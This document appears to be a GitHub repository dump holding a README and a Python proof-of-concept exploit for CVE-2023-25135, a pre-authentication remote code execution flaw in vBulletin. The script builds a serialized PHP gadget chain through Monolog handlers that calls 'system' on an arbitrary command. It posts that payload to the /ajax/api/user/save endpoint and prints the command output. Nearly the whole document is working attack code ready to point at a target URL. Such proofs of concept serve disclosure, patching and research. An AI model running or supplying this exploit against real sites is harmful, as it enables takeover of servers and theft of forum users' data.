├── README.md └── vbulletin-rce-cve-2023-25135.py /README.md: -------------------------------------------------------------------------------- 1 | # vbulletin-exploits 2 | Exploits targeting vBulletin. 3 | 4 | # CVE-2023-25135: Pre-authentication RCE 5 | 6 | See: https://www.ambionics.io/blog/vbulletin-unserializable-but-unreachable 7 | 8 | ``` 9 | ./vbulletin-rce-cve-2023-25135.py --help 10 | Usage: vbulletin-rce-cve-2023-25135.py [-h] [-p PROXY] url command 11 | 12 | Exploit for CVE-2023-25135: vBulletin pre-authentication RCE. 13 | 14 | See: https://www.ambionics.io/blog/vbulletin-unserializable-but-unreachable 15 | 16 | Positional Arguments: 17 | url Target URL 18 | command Command to execute 19 | 20 | Options: 21 | -h, --help show this help message and exit 22 | -p, --proxy PROXY Proxy to use (optional) 23 | ``` 24 | -------------------------------------------------------------------------------- /vbulletin-rce-cve-2023-25135.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # Exploit for CVE-2023-25135: vBulletin pre-authentication RCE 3 | # cfreal 4 | # 5 | # ten: https://github.com/cfreal/ten 6 | # 7 | 8 | from ten import * 9 | 10 | @entry 11 | @arg("url", "Target URL") 12 | @arg("command", "Command to execute") 13 | @arg("proxy", "Proxy to use (optional)") 14 | def main(url: str, command: str, proxy: str = None): 15 | """Exploit for CVE-2023-25135: vBulletin pre-authentication RCE. 16 | 17 | See: https://www.ambionics.io/blog/vbulletin-unserializable-but-unreachable 18 | """ 19 | session = ScopedSession(url) 20 | 21 | if proxy: 22 | session.proxies = proxy 23 | 24 | marker = tf.random.string() 25 | command = f"echo {marker}::; {command}; echo ::{marker}" 26 | command = to_bytes(command) 27 | payload = ( 28 | b'a:2:{i:0;O:27:"googlelogin_vendor_autoload":0:{}i:1;O:32:"Monolog\\Handle' 29 | b'r\\SyslogUdpHandler":1:{s:9:"\x00*\x00socket";O:29:"Monolog\\Handler\\Buf' 30 | b'ferHandler":7:{s:10:"\x00*\x00handler";r:4;s:13:"\x00*\x00bufferSize";i:-1;s' 31 | b':9:"\x00*\x00buffer";a:1:{i:0;a:2:{i:0;s:[LEN]:"[COMMAND]";s:5:"level";N;}}s:8:"\x00' 32 | b'*\x00level";N;s:14:"\x00*\x00initialized";b:1;s:14:"\x00*\x00bufferLimit";i' 33 | b':-1;s:13:"\x00*\x00processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}}' 34 | ) 35 | payload = payload.replace(b"[LEN]", to_bytes(len(command))) 36 | payload = payload.replace(b"[COMMAND]", command) 37 | 38 | response = session.post( 39 | "/ajax/api/user/save", 40 | { 41 | "adminoptions": "", 42 | "options": "", 43 | "password": "password", 44 | "securitytoken": "guest", 45 | "user[email]": "pown@pown.net", 46 | "user[password]": "password", 47 | "user[searchprefs]": payload, 48 | "user[username]": "toto", 49 | "userfield": "", 50 | "userid": "0", 51 | }, 52 | ) 53 | if not response.code(200): 54 | failure(f"Exploit failed: unexpected response code ({response.status_code})") 55 | 56 | result = response.re.search(fr"{marker}::(.*)::{marker}", re.S) 57 | if not result: 58 | failure("Exploit potentially failed: command output not found") 59 | 60 | msg_success("Exploit succeeded!") 61 | 62 | msg_print("-" * 80) 63 | msg_print(result.group(1)) 64 | msg_print("-" * 80) 65 | 66 | 67 | main() 68 | --------------------------------------------------------------------------------